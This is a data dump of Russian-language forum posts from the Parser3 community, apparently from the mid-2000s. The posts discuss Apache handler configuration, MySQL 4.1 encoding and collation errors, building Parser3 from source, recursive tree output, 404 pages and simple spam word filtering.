"42403","1. Никого не слушать. Вообще, даже Мишу или ПАФа. Оптимизация это не та вещь, которая определяется интуицией или авторитетом. Порой бывают такие удивительные вещи, которые ну никак не вписываются в здравый смысл и в чей либо опыт. Пример http://www.parser.ru/forum/?id=38468\
\
2. Замерить оба варианта, - думаю догадаетесь как это сделать.\
\
3. Я думаю такой оптимизацией заниматься нужно только в самом конце, - когда исчерпан лимит по высокоуровневой оптимизации (архитектура приложения), ведь не секрет, что скорость работы приложения в целом, почти всегда зависит от высокоуровневой организации."
"42404","Есть вариант для апач-модуля\
http://www.parser.ru/forum/?id=38182\
правда декодирования пока нет, нужно использовать (перл |любой другой внешний) скрипт.\
Другой вариант через RewriteModule, у него есть доступ к этой переменной.\
[code]\
RewriteCond %{HTTP:Authorization} ^(.*)\
RewriteRule ^(.*) - [E=HTTP_CGI_AUTHORIZATION:%1]\
[/code]"
"42406","- Built-in Function: long __builtin_expect (long exp, long c) \
You may use __builtin_expect to provide the compiler with branch prediction information. In general, you should prefer to use actual profile feedback for this (-fprofile-arcs), as [b]programmers are notoriously bad at predicting how their programs actually perform[/b].\
However, there are applications in which this data is hard to collect.\
\
http://www.imodulo.com/GNU/gcc/Other-Builtins.html\
\
From: PAF\
Date: Wed, 22 Jun 2005 16:59:01 +0400"
"42408","[quot]\
Нельзя ли его вообще убрать из веб-пространства или поместить рядом с самим бинарником парсера?\
[/quot]\
\
http://www.parser.ru/forum/?id=42392\
\
P.S. Можно указывать свой путь к конфигурационному auto.p (поиск подскажет)"
"42409","Не могу построить раскрывающееся дерево (хочу изменить Мишин пример – там дерево строится уже раскрытым). \
Алгоритм понимаю: \
1.	находим всех родителей необходимого id, засовываем в таблицу или хэш.\
2.	строим дерево рекурсией раскрывая только те ветки, которые находятся в таблице (хэш) полученном на 1 этапе. \
Первый шаг  сделал: хэш получил:\
[code]\
@getParentsForIdHash[id]\
$MessageById[^getMessageById[$id]]\
$MessageByThread[^getMessagesByThread[$MessageById.thread_id]]\
$parentsMessageByThread[^hash::create[]]\
$str_hash[^MessageByThread.hash[forum_message_id]]\
$pid($id)\
^while($pid){\
  ^parentsMessageByThread.add[\
    $.[$pid][$pid]\
  ]\
  $pid($str_hash.[$pid].parent_id)\
}\
[/code] \
Но оказалось что в  хэш значения не сортируются.\
Переделал на таблицу:\
[code]\
@getParentsForIdTable[id]\
$MessageById[^getMessageById[$id]]\
$MessageByThread[^getMessagesByThread[$MessageById.thread_id]]\
$parentsMessageByThread[^table::create{forum_message_id	parent_id	thread_id}]\
$pid($id)\
^while($pid){\
  $MessageById[^getMessageById[$pid]]\
  ^parentsMessageByThread.append{$MessageById.forum_message_id	$MessageById.parent_id	$MessageById.thread_id}\
  $pid($MessageById.parent_id)\
}\
[/code] \
А вот со вторым шагом получилась загвоздка. Не могу построить дерево рекурсией. Нужна помощь в его построении."
"42410","Есть пример в FAQ, и еще вот мной написанный метод (в отличии от примера, приведенного в FAQ — если ключи хэша являются числами, то сортирует как числа (http://www.parser.ru/docs/lang/tablesort.htm), плюс можно указывать разделитель):\
http://www.parser.ru/forum/?id=42371"
"42411","Подскажите пожайлуста, куда надо засовывать MySQL драйвер и где и как его прописывать?"
"42413","Искал, не нашёл, может дашь адрес где это есть?"
"42416","Что-то не нашёл ответа на этот вопрос, как писало так и пишет ошибку $SQL:drivers table must be defined, подскажите места где надо прописать этот драйвер?"
"42418","С чем может быть связана ошибка при запуске тестового html-файла, хотя раньше этой ошибки не было, запускался нормально: /test.html: /путь/к/сайту/html/test.html(130:47): 'upper' change_case_UTF8 error: end pointers do not match [<no type>]?"
"42419","Скажите, делал ли кто-нибудь (исключая сотрудников Лебедева)сохранение набранного URL в адресной строке при выводе страницы 404?"
"42421","вообще это называется [url=\"http://www.parser.ru/forum/?terms=%E2%ED%F3%F2%F0%E5%ED%ED+%F0%E5%E4%E8%F0%E5%EA%F2&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8\"]внутренний редирект[/url]..."
"42422","ага.... спасибо, буду смотреть дальше"
"42423","Сергей! Спасибо, что подсказали как термин называется, я разобрался как это работает. %-))"
"42431","Человек хочет чтобы у него на сайте расширение для всех файлов было .par и чтобы эти файлы обрабатывались. Чего казалось бы проще:\
AddHandler parsed-html html par\
Action parsed-html /cgi-bin/parser3.cgi\
\
и дело с концом. Ан нет. не обрабатываются они парсером. Стоит расширение поменять на html, php, shtml (добавив их соответственно  в директиву AddHandler) - прекрасно все обрабатывается.\
\
Ну, казалось бы, проблема  очевидна, не описан тип документа (в отличие от того же php или shtml или html) - следовательно  надо добавить еще и тип, добавляю что в htaсcess, что в конфиг апача следующее:\
\
AddType text/html .par \
AddHandler parsed-html .par\
\
и по фигу. хотя, если я например желаю изменить расширение для пхп файлов, такой номер легко проходит.  \
\
И в чем тут собака порылась? Что я такого забыл?"
"42432","[code]\
AddHandler parsed-html par\
Action parsed-html /cgi-glob/parser3/parser3.exe\
[/code]\
\
Может быть потому что у вас [b]html par[/b], а у меня тоже самое только без html… Хотя вроде бы должно работать и так и так."
"42433","А где можно найти файлы описания других кодировок, кроме тех, что можно скачать с сайта? Просто, например, если я пытаюсь загрузить XML  файл($pad[^xdoc::load[$form:pad]]), то получаю:\
error: Unsupported encoding Windows-1252\
<?xml version=\"1.0\" encoding=\"Windows-1252\" ?>"
"42434","а у меня нет. дело не в этом, убиралось и это, не в том дело я чувствую. \
больше того парсер просто не распознает его. тестовая страница с расширением par говорит \
# Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser, чего сейчас не наблюдается. # \
хотя та же страница с расширением html. shtml, php (все пробовалось) прекрасно работает (в одно и то же время)\
но, любое расширение которое не описано в типах - не работает. те которые описаны уже - работают. \
когда добавлял тип писал  AddType text/html .par может какой нибудь Application прописать, но почему тогда с расширением shtml парсер прекрасно работает?"
"42437","для начала: если вы вместо правильного _test.html в браузере наблюдаете \
[code]\
# Для того, чтобы данный тест заработал...\
[/code]\
значит вы ещё не настроили это расширение имени на обработку скриптом и веб-сервер выводит файл необработанным.\
\
т.е. \"parser не распознаёт\" неправильно говорить. правильно \"parser'у не дали файл на обработку, файл выдался без обработки\".\
\
1. выкиньте из головы AddType, не нужен он тут. важны только AddHandler и Action.\
\
2.\
возможно, буквы \".par\" заколдованные :)\
попробуйте расширение имени \".vasya\", назовите так файл, внесите это имя в AddHandler и посмотрите, что будет."
"42439","не не. с html все ок. вот - http://esperanto.spb.ru/_test.html\
а вот с par никак http://esperanto.spb.ru/_test.par\
а с ppp еше интереснее http://esperanto.spb.ru/_test.ppp :)\
в то же время с http://esperanto.spb.ru/_test.php http://esperanto.spb.ru/_test.shtml все совершенно замечательно работает.\
\
стоит в htaccess вот что (это я сейчас для наглядности добавил)\
\
AddHandler parsed-html html par php shtml ppp\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
PS. Надо сказать что с горя par прописал еще в mimes.conf апача, возможно из за этого разница в результатах par и ppp.  В конфиге самого апача все повыбрасывал про парсер и пар чтобы не мешалось."
"42440","внесите все эти директивы туда.\
и проверьте, не осталось ли там каких-то следов ваших экспериментов."
"42442","добавлено так \
    # To use CGI scripts:\
    #\
...AddType application/x-httpd-php .phtml\
AddHandler cgi-script .cgi .pl\
AddType text/html .shtml\
AddType application/x-tar .tgz\
AddType text/vnd.wap.wml .wml\
AddType image/vnd.wap.wbmp .wbmp\
AddType text/vnd.wap.wmlscript .wmls\
AddType application/vnd.wap.wmlc .wmlc\
AddType application/vnd.wap.wmlscriptc .wmlsc\
AddHandler parsed-html html par ppp ...\
\
далее обычный конфиг апача. все что было про парсер  из него вычистил. следов точно нет. \
\
в .htaccess теперь только это\
Action parsed-html /cgi-bin/parser3.cgi\
результат такой же. \
\
а в auto.p который лежит в /cgi-bin/ ничего не надо писать про ppp или par? что нибудь в типы которые парсер понимает?\
\
PS. кстати из mimes.types убрал par, тоже результат не изменился. тут только могу думать на юзера который может быть где то у себя то ли в auto.p то ли еще где прописал таки этот свой par. но бог с ним с par. ppp и подобные то расширения не работают,  их то он прописать никак не мог..."
"42443","...а сервер после правок в конфиги рестартовали?"
"42444","ыстественно :) и даже не graceful а restart полный. нет, тут точно что то из не из мира сего..."
"42446","всё, что пишете — правильно.\
\
давайте так:\
вы сотрёте с диска parser3.cgi\
и придёте в этот форум после того, как сделаете, чтобы обработчик вызывался."
"42451","Может быть вы не понимаете как это делается?"
"42453","Очень странно у меня получается,я добавляю в документ /404.html [code] $response:location[/404.html][/code], но работает он в лучшем случае через раз, то есть выводит не мою 404.html  и выводит стандартый IE 404. Нет ли там какой хитрости?"
"42454","и в .htaccess я ErrorDocument 404 /404.html написал"
"42456","Возможно.\
Вот код:\
[code]\
# достаем не более 20 корневых сообщений (parent_id == 0)\
$rootMessages[^getMessagesByParent[0;20]]\
\
# достаем все сообщения в тредах, которые мы только что достали\
$messages[^getMessagesByThread[$rootMessages]]\
\
# создаем хеш, в котором ключи — id элемента, содержание — таблица со всеми их дочерними элементами\
$hashTree[^createHashTree[$messages]]\
\
# cоздаем хэш со всеми родителями текущего элемента(id) включая и его самого.\
$ParentsForIdHash[^getParentsForIdHash[$form:id]]\
\
@getParentsForIdHash[id]\
$MessageById[^getMessageById[$id]]\
$MessageByThread[^getMessagesByThread[$MessageById.thread_id]]\
$parentsMessage[^hash::create[]]\
^parentsMessage.add[\
		$.0(0)\
	]\
$str_hash[^MessageByThread.hash[forum_message_id]]\
$pid($id)\
^while($pid){\
  ^parentsMessage.add[\
    $.[$pid][$pid]\
  ]\
  $pid($str_hash.[$pid].parent_id)\
}\
\
# выводим все его элементы в виде раскрывающегося дерева\
# c условием:\
# ^if($ParentsForIdHash.[parent_id элемента]){\
# \
# }\
[/code]\
Не могу понять, как используя это условие изменить метод [code] @printMessagesByParent[parent_id] [/code]."
"42457","http://www.parser.ru/forum/?terms=friendly&search_in_message=1&author=paf&doSearch=%CD%E0%E9%F2%E8"
"42458","Спасибо Александр! Воспользовался советом Вашим Светлане, сделал [code]<html>\
<head>\
<title>Страница не найдена</title>\
<link href=\"/main.css\" rel=\"stylesheet\" type=\"text/css\">\
</head>\
<body>\
#to fight [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
$response:location[/404.html]\
<h1 class=\"note\">Ошибка&nbsp;404</h1>\
<p>Неправильно набран адрес или такой страницы на&nbsp;сайте больше не&nbsp;существует.</p>\
</body>\
</html>[/code]и всё заработало."
"42459","то есть, если я правильно понимаю, кодом ^for[i](0;512/8){<!-- -->} мы делаем страницу по ширине <512байт за счёт повтора комментария <!-- -->?"
"42460","Задача такова:\
1. Есть логи, скажем от squid.\
2. Есть база mysql, в которую хочу на лету парсить логи от mysql.\
\
Реализация:\
создаем пайп:\
mkfifo /home/logs/squid.log,\
после чего пишем скрипт на парсере:\
\
test.p\
#!/usr/local/bin/parser3.cgi\
[code]\
@main[]\
^connect[$SQL.connect-string]{\
^while(1){\
 ^void:sql{\
   insert into testt (teststring)\
   values (\"$console:line\")\
 }\
 }\
}\
[/code]\
 \
который предназначен для работы в виде \"демона\",\
запускаем как\
./test.p</home/logs/squid.log\
\
Все отлично работет, в базу пишет, но вываливается через некоторое время по Endless loop detected.\
\
Как лечить?\
Или подскажите алтернативный способ реализации.\
\
Спасибо."
"42461","Думаю понятно почему. В логе может быть более 10000 записей (ограничение количества повторений в цикле)."
"42462","Вопрос [color=#ff0000]web мастерам!!![/color]\
Люди а что лучше php или parser(в смысле быстрее удобнее)???\
Заранее Спасибо!!!"
"42464","ничего не говорил, но похоже что это все то же самое что здесь уже описывалось. в общем, после колдовства в течение 4 часов выяснилось следующее (типа how-to, потому как явно что то в предыдущих экспериментах было пропущено):\
\
cd /usr/src\
\
fetch http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc6.1.tar.gz\
tar zxf gc6.1.tar.gz\
cd gc6.1\
./configure --disable-threads --silent\
make\
make install\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get parser3\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get sql/mysql\
cd parser3\
./configure --prefix=/var/www/cgi-bin --disable-safe-mode --disable-threads --silent --with-static-gc=/usr/local/lib --with-dynamic-stdcpp\
gmake\
gmake install\
cd ../sql/mysql\
./configure --prefix=/var/www/cgi-bin\
make \
make install\
\
5.3-RELEASE FreeBSD 5.3-RELEASE\
mysql  Ver 14.6 Distrib 4.1.5-gamma, for portbld-freebsd5.3 (i386)\
gcc version 3.4.2 [FreeBSD] 20040728\
GNU Make 3.80"
"42466","Скажите, как в полях заголовка добавить флаг \"Уведомление о прочтении\"?"
"42467","Как удалить \"джельтельменский набор\" с компьютера."
"42468","Нашли как флаг выглядит? А как его прицепить в доке сказано (пример с x-mailer)."
"42470","Правда не могу найти способа избавиться появляющегося после обработки в документе мусора в виде комментариев <!-- -->"
"42471","есть поле body в описаниии, мне надо отдавать 120-150 символов, чем резать лучше:\
1) при выборке через LEFT(body, 120)\
2) после через ^str.left(10)\
что меньше нагрузит сервак(у меня записи есть и по паре кило)?\
на локальном серваке(на моей тачке) разница замеров почти не видна"
"42472","как большую часть убрать понятно, но один всегда остаётся...не мешает конечно, но.... %-)"
"42473","Unhandled exception in /: /home/u23550/womencw.ru/www/index.html(8:2): 'connect' native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present) [parser.runtime]\
\
index.html(8, 9 строки):\
\"^connect[$connect_string]{\
	$news[^table::sql{select\"\
\
Не подскажите в чем проблема?"
"42474","1. буквальный ответ: а вы как думаете?\
2. http://www.artlebedev.ru/kovodstvo2/sections/98/ в части \"[Подробнее]\""
"42477","1) вспоминая форум(может не в очень в тему): база по-идее должна экономичней сделать \"обрезание\"\
2) помню, но тут встал вопрос, вот об этом коде:\
[code]select MID(body,POSITION('%$text%' IN body),20) from catalogue_items where body LIKE \"%text%\"[/code]\
можно ли как-то его улучшить или я уже лишнего \"накрутил\"?"
"42479","Останавливаете «апач».\
Удаляете папку \\servers\\\
Удаляете ярлыки.\
\
Всё."
"42480","Я видел, что вы не однократно указывали в форуме на эту ошибку и проверил это первым делом.\
Код я скопировал из проблемного файла, но ведь там нет пробела."
"42481","это единственное объяснение.\
перенаберите несчастную строку, возможно, ваш текстовый редактор вас обманывает."
"42483","Выкладываю документацию языка преобразование XSLT в .doc формате (желательно для печати).\
\
Адрес: http://www.cdmix.ru/xsl.zip\
\
Ссылка на оригинальный перевод: http://www.rol.ru/news/it/helpdesk/xslt01.htm"
"42484","Перехали мы на арендуемый сервак...\
загружаю я по привычке файл\
[code]$config[^table::load[/config.cfg]] [/code]\
Ошибка\
[color=\"#ff0000\"]\
/var/www/html/config.cfg\
read failed: No such file or directory (2), actual filename '/var/www/html/config.cfg'\
/home/akvaniru/public_html/auto.p(127:17)[/color]\
\
Зная что наш auto.p лежит там же где и config.cfg пишем \
 [code]$config[^table::load[/home/akvaniru/public_html/config.cfg]] [/code] \
Ошибка\
[color=\"#ff0000\"]/var/www/html/home/akvaniru/public_html/config.cfg\
read failed: No such file or directory (2), actual filename '/var/www/html/home/akvaniru/public_html/config.cfg'\
/home/akvaniru/public_html/auto.p(127:17)[/color]\
\
Парсер лежит var/www/cgi-bin/parser3/ но я туда доступ не имею да даже если и имел бы писать туда свой конфиг как то неправильно."
"42485","По идее нужно ограничить буквенный минимум, скажем в 120 символов.\
Потом смотреть, попало в середину слова или нет, если попало прибавлять до первого пробельного символа или конца строки.\
\
С позиции регулярных выражений, реализация может быть похожа на предпоследнее правило по этой [url=\"http://spearance.tura.ru/parser3/regex/?no=10&page=6\"]ссылке[/url]."
"42488","А почему тогда сразу не отсчитывать нужно количество слов, 20 например?"
"42489","То, что в \"Полезных ссылках\" неудобно для печати."
"42491","Если сильно приспичило делать Парсером, то обрабатывать всё не в одном цикле, а разбивать на несколько, в зависимости от количества строк лога."
"42492","тут посмотри:\
http://www.parser.ru/docs/lang/requestdocroot.htm"
"42494","Переехали мы на свой сервак...\
И вместо русских букв, которые должны выбраться из sql знаки вопроса. \
- В Mysql все по русски отображаеться\
Language:ru-utf-8\
MySQL-кодировка: UTF-8 Unicode (utf8)  \
Сопоставление соединения с MySQL: utf8-bin  \
 \
- в начале каждой странички\
[code]#<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">[/code]\
\
Почитал как коллеги решали подобные проблемы, но как то сложно по-моему. Как обойтись малой кровью, ведь на виртуальном хостинге все работало...\
Заранее благодарен."
"42496","Когда пытаемся сделать вот такой запрос при помощи парсера\
\
SELECT * FROM `user` WHERE `name`='мы мидведи'\
\
выдает такую ошибку\
\
Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_swedish_ci,COERCIBLE) for operation '='"
"42497","никто ниче толкового не объяснил один смекнул что дело в кодировке, другой посоветовал  переставить. это не серьезно. Ждем специалистов."
"42498","Найдете — поделиться не забудьте."
"42499","[quot]Судя по всему дело в кодировке.\
В файл\
includes/database.mysql.inc\
в функцию db_connect($url),\
сразу после строки\
mysql_select_db(substr($url[‘path’], 1)) or die(‘unable to select database’);\
добавь строку\
mysql_query(‘set charset utf8’);\
[/quot]\
Осталось найти файл database.mysql.inc"
"42500","Господа подскажите пожалуйста что прописать в аксесе чтобы заданная папка не парсилась. Сайт пишу на парсере, но есть папке с новостями на PHP вот она и не пашет.\
\
Заранее благодарен."
"42502","при переезде на 4ю версию и с появлением \"сравнений\" (кодировок).\
Пути, собственно, было два (имхо).\
1. Поменять кодировку страничную на UTF-8 (что, на мой взгляд, шаг вперед)\
2. Сделать \"шаг назад\" - поменять кодировку на windows-1251 в mysql'е, задав ее в конфигурационном файле в секции [client]\
default-character-set=cp1251\
(как правило, лежит здесь: /etc/my.conf). + поменять кодировку таблиц самой базы.\
Сделал по 2-му пути, потому что у меня собственный сервер . \"Шаг вперед\" не сделал, чтобы потом не делать шагов назад, эксперимент по переводу сайта на UTF-8 буду переводить позже."
"42503","а к чему такие сложности? в mysql 4.1 хоть перед каждым запросом можно нужную кодировку выставлять. \
если нужно в целом для сайта то можно сразу после инициализации коннекта к серверу прописать что то типа:\
SQLQuery=\"SET names cp1251\";\
и выполнить этот запрос. \
\
уточнить можно на dev.mysql.com в доках."
"42505","я вас то не понял, хотя вы вроде на русском написали, а вы меня посылаете... на три неруские буквы (dev)\
\
Скажите пожалуйста, как на парсере это сделать? Какой выполнить запрос?"
"42506","http://www.parser.ru/docs/lang/app3clientcharset.htm\
http://www.parser.ru/docs/lang/app3mysql.htm"
"42507","Cделали вот так\
\
mysql://***************/akvaniru_arb?ClientCharset=UTF-8\
\
ни каких изменений.\
При загрузке все вопросиками\
\
при попытки SELECT * FROM `user` WHERE `name`='мы мидведи'\
\
[code]Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_swedish_ci,COERCIBLE) for operation '='[/code]"
"42508","[code]mysql://***************/akvaniru_arb?charset=UTF-8[/code]"
"42509","зделали вот так\
\
mysql://*******************/akvaniru_arb?charset=cp1251_koi8\
\
заработало. Спасибо! но!\
\
SELECT * FROM `user` WHERE `name`='shurick' \
\
выдает нормально\
\
SELECT * FROM `user` WHERE `name`='мы мидведи'\
\
Пишет что такой записи нет хотя она есть...\
Тобишь с кодировками проблема сохранилась"
"42510","про парсер не скажу - не знаток. но здесь проблема совсем не в парсере. начните с проверки того что вы видите в phpmyadmin  - нормально ли там отображаются русские тексты в ваших таблицах?\
если да, то вам надо запомнить те значения которые показаны в phpmyadmin в качестве  server default collation, database collation и попытаться их выставить у себя в скриптах (может \
быть парсеру это надо специально прописать) . \
\
в общем  случае мускуль 4.1 работает по умолчанию с чарсетом utf8 и коллейшн swedish там что то. так вот, если вы хотите хранить русский текст  в базе в utf8 вам надо выставить соответствующую. collation насколько я помню это должно быть utf8_general_ci. и в /etc/my.cnf для этого пишется следущее:\
....\
[mysqld]\
default-character-set=utf8\
default-collation=utf8_general_ci\
....\
\
при выводе или записи данных вы можете установить текущий коллейшн и чарсет отличный от того который прописан в общем случае. например cp1251. в этом случае у вас данные будут храниться в utf8 а выводиться они будут в кодировке cp1251 - это одна из главных фичей мускуля 4.1 и делается это все на лету. но описана эта фича достаточно коряво даже на англйском потому много с этим путаницы."
"42511","мускул просто не может понять что ему искать. это решается установкой чарсета и коллейшн при соединении к базе .как это в парсере сделать - не знаю - тут где то было что то - но не нашел пока ссылку."
"42512","http://www.parser.ru/forum/?id=39062"
"42513","http://www.parser.ru/forum/?id=33412"
"42515","нееемогу разобраться :(\
\
вообщем серавно русские буквы понимать нехочет.\
Выводит все ок.\
В админе смотришь тоже все ок.\
\
Но вот если хочется WHERE `name`='русские буквы' \
непашет...."
"42516","а в phpmyadmin тоже не ищет?  если взять тот же самый запрос и выполнить его не через скрипт а в phpmyadmin.\
\
PS. Если в phpmyadmin находится, я б еще проверил через php что получится.  Если и в phpmyadmin и в php все будт нормально, тогда надо терзать доки парсера однозначно..."
"42518","Для борьбы со спамом доски объявлений сделал список запрещенных слов. При подаче объявления, тема проверяется на наличе каждого из этих слов.\
Реализовал это я так:\
[code]\
$block[^table::load[/dir/file.txt]]\
$blockmes[0]\
^block.menu{\
^if(^theme_p.match[$block.theme][i]){$blockmes[1]}\
}\
^if($blockmes==1){отсанавливаем}{пропускаем}\
[/code]\
\
Вопрос такой:\
Не сильно ли скажется такой код на скорости выполнения скрипта, при проверке 50-60 слов? (пока только 15 слов).\
И можно ли его реализовать по-другому, сделав более быстрым?"
"42519","Я отсчитываю пробелы. Ведь знаки препинания ставятся без пробелов, как и слова без пробела от скобок (если они в скобках). А \"а\" - тоже слово."
"42520","replace работает немного иначе и на больших текстах можно быстро заменить плохие слова на, скажем, букву с кодом 1 (в parser записывается ^#01).\
\
потом посмотреть: в результате появилась такая буква? не пускать.\
\
ещё посмотрите поиском по форуму, обсуждалось, конечно. бесполезно это :)"
"42521","так тоже сильно быстрее, чем как вы написали."
"42522","Один вопрос, внутрь match можно menu вставлять?"
"42525","в phpmyadmin все пашет.\
Все ищет.\
\
Все красиво выглядет.\
\
С пхп не дружу к сожелению и проверить не получится"
"42526","^if(^theme_p.match[^block.menu{$block.theme}[|]][i])\
Проверяется только первое слово из списка, остальные проходят.\
В чем ошибка?"
"42532","Как вместо table в ^table.menu сипользовать имя таблици хронящееся в переменной(например $tab_name)."
"42534","[quot]\
надо прописать в my.cnf например: \
 \
[mysqld] \
default-character-set=utf8 \
character-set-server=utf8 \
collation-server=utf8_general_ci \
 \
[client] \
default-character-set=utf8 \
[/quot]\
\
Надо? Тогда где найти этот файл?"
"42535","[code]\
$current[$[$tab_name]]\
^current.menu{}\
[/code]"
"42536","Всё ок, спасибо!"
"42537","Как использовать критерий, хронящийся в переменной?"
"42539","Такая кака бывает когда служебные символы используете без ^\
\
В вашем случае это кавычки \""
"42540","Ну тут три переменых...преставляешь?!\
И вообще критерий для переменной что то новое...\
не слышал раньше ;-)"
"42541","А вы что, всегда пишете так: <element attrib1=^\"value^\" />? Сочувствую."
"42542","а такой код к примеру?\
\
<tr bgcolor=\"#EFEFEF\" style=\"border: medium dashed Black; font-family: serif; font-size: larger;\">"
"42544","Это явно из области фантастики :)"
"42545","Провел небольшой эксперимент и получил, что [b]не передаются[/b]. Пришел к выводу, что по ссылке передаются только объекты некоторых (хеш, таблица) встроенных классов. Это так?"
"42546","[code]@CLASS\
nTable\
\
@create[tabledata]\
$_table[^table::create{id\
$tabledata}]\
\
@sort[direct]\
^if($direct eq \"DESC\"){\
	^_table.sort($_table.id)[desc]\
}{\
	^_table.sort($_table.id)\
}\
\
@print[]\
^_table.menu{$_table.id}[<br>]\
#end nTable[/code]\
\
\
\
[i]где-нибудь:[/i]\
\
[code]$FirstObj[^nTable::create{1\
5\
8\
2\
4}]\
\
$SecondObj[$FirstObj]\
^SecondObj.sort[DESC]\
^FirstObj.print[][/code]\
\
И в каком месте не передаются?\
\
P. S. [url=\"http://www.parser.ru/forum/?id=10626\"]объекты по ссылке[/url] (PAF)"
"42548","Задумался над вопросом, какой функцией можно отобразить название класса или название метода.\
\
К примеру.\
\
[code]\
@CLASS\
supermega\
\
@test[]\
...\
\
@error[]\
Ошибка произошла в классе \"supermega\" (метод test).\
[/code]"
"42550","Перехали мы на свой сервак...\
\
1.Парсер\
Скрипты, где используеться парсер, не открываються в моем домене.\
[color=\"#ff0000\"]Internal Server Error\
[/color]\
Если перейти по ссылке вида http://209.123.181.230/~akvaniru/ все работает.\
\
2.Домен\
через домен открываеться все, кроме парсера - картинки и *.htm\
\
Поискал на форуме:\
Кстати до этого сидели у sweb все работало."
"42551","Если нужно выдавать не только 120 символов, а еще чтобы они были осмысленны, тогда можно при добавлении в базу данных создавать два поля — полный текст и, допустим, VARCHAR(150) и так далее."
"42552","скажите, а пользователей форума вы тоже заставляете писать краткую версию своего поста?"
"42553","Хочу написать WAP-сайт на Parser.\
Для этого надо задать по умолчанию страничку не index.html, а index.wml. Как это сделать?"
"42555","# назначение обработчиком .wml страниц:\
AddHandler parsed-wml wml\
Action parsed-wml /cgi-bin/parser3.cgi\
DirectoryIndex index.wml\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>"
"42556","Пример - [url=\"http://bougakov.com/nokia/index.html\"]http://bougakov.com/nokia/index.[b]html[/b][/url]\
\
WAP-гейт смотрит не на расширение, а на content-type. Ставьте в коде  \
\
[code]$response:content-type[ \
	$.value[text/vnd.wap.wml] \
] [/code]\
\
и будет вам счастье."
"42561","хотя на самом деле действительно оптимизация должна начинаться на высоком уровне, при условии что на низком все писалось не очень погано.\
\
однако если слделали оптимизацию на высоком уровне, и дошли до низкоуровневой оптимизации, и вам надо не чтобы \"код был красивым и все по идее работало хорошо\", а чтобы \"на данной конкретной системе данный конкретный код работал самым оптимальным образом\", то единственный действенный метом - измерять время/память выполнения разных кусков кода самому.\
\
но я до сих пор продолжаю писать ^i.inc(2) а не $i($i + 2) т.к. считаю что так должно быть лучше, и когда данный \"баг\" будет поправлен оно будет лучше :)"
"42562","но не if-f & Co, @spacer - это точно (@ifdef[] & Co в lib.p уже достаточно давно deprecated)"
"42563","у меня обычно \"сессия\" длится долго. т.е. с момента, когда я вижу цену и кладу товар в корзину до момента когда я иду в корзину и оформляю заказ может пройти много времени (например неделя), и цена может измениться (а если точнее - то изменится с большой вероятностью, правда при попадании на страницу оформления заказа там уже будут показаны текущие цены). \
\
другие реализации (когда сессия устаревает быстро) мне совсем не нравятся. начал я собирать заказ dvd-ков вечером, перебрал десятки страниц, не успел отправить, решил продолжить/закончить завтра, а назавтра пришел - и фиг там, пуста моя корзина. обрадован не был ни грамма.\
\
так что мы можем добавить одно удобство за счет другого (то, что программист может зафиксировать цену продавца на какой-то момент времени - не обсуждается, т.к. это больше организационная задача)."
"42564","сейчас пример under construction, времени на его доделку особо нет, так что никаких сроков не обещаю.\
\
если не можете разобраться сами с учетом того что я объяснял в форуме на этот счет (поиск рулит) - используйте апачевскую авторизацию."
"42566","Никто не сталкивался с разработкой сайта на китайском языке? Может быть кто-нибудь подскажет где можно посмотреть как текст там набирается, или какая-нибудь таблица кодирования китайской письменности, а то с бумаги фиг знает как это переводить. %-("
"42568","[color=\"#ff0000\"][Mon Jul 18 22:12:23 2005] [error] [client 212.33.246.82] Premature end of script headers: /var/www/cgi-bin/parser3/parser3.cgi[/color]"
"42570","Навскидку\
http://www.daochinasite.com/study/inputips.shtml\
http://www.daochinasite.com/study/cfonts.shtml\
И еще масса способов и примеров, Яндекс рулит."
"42572","В FAQ написано:\
[b]\
Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable» или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора).\
Также причиной может быть то, что вы «закачали» исполняемый файл на сервер не в режиме binary. В этом случае размер закачаного файла будет отличаться от файла, лежащего на вашем локальном диске.\
[/b]"
"42576","буквально: можно послушать j-Walker.\
вообще: можно послушать здравый смысл: оно вам реально надо?\
\
пару проверок рука не поднимается написать?"
"42578","если система построена из неких кубиков, можно обработку каждого кубика поставить под try и в catch выводить что нужно."
"42581","Допустим надо запустить скрипт\
http://domen.ru/delay.html?id=23&id2=213\
\
как написать это в крон или в командную строку?\
Без параметров умею. Работает."
"42583","[quot]вообще: можно послушать здравый смысл: оно вам реально надо?[?quot]\
если бы наши родители последовали Вашему совету, многие из нас не смогли бы иметь возможность общаться не только в этом форуме...\
:))"
"42585","Кто-нибудь использовал эту связку?\
\
Не могу понять в чем дело, пытаюсь загрузить данные через parser - никакой реакции (readyState = 0). \"родной\" JSHttpRequest.php работает.\
Результат работы серверной части 1 к 1, только парсер еще пишет (положенный по стандарту) content-length в HTTP-заголовке.\
(Поле, X-POWERED-BY, понятно дело, не в счет). И вся разница :-(\
\
Не могу понять, что я упустил.\
\
P.S. http://dklab.ru/chicken/nablas/41.html\
\
Если кто-то используется в своих парсер проектах эту библиотеку - буду очень рад любым комментариям."
"42586","если в парсере, то просто дать необходимые названия и искать значения \"on\" через ^form:fields.foreach\
если через JS - то по свойству 'checked'"
"42588","Спасибо!\
Точно счастье))"
"42589","пасиба сам уже разобрался (через ^tablename.count[])"
"42591","[quot]Нет,  скорее  это означает, что не отдается майм тип text/html. Причес\
не отдает его скорее всего сам скрипт.\
[/quot]\
\
Я чесно не понял, что он хотел этим сказать...\
Может кто нибудь знает?"
"42592","А возможно ли ограничить возможности Parser'а без пересборки?\
Например отключить пост запросы, отправку почты и т.д.?"
"42593","другой вариант:\
если всегда надо вызывать с одинаковыми параметрами, сделайте cron.html и внесите в него эти несчастные параметры сверху константой.\
\
есть ещё варианты.."
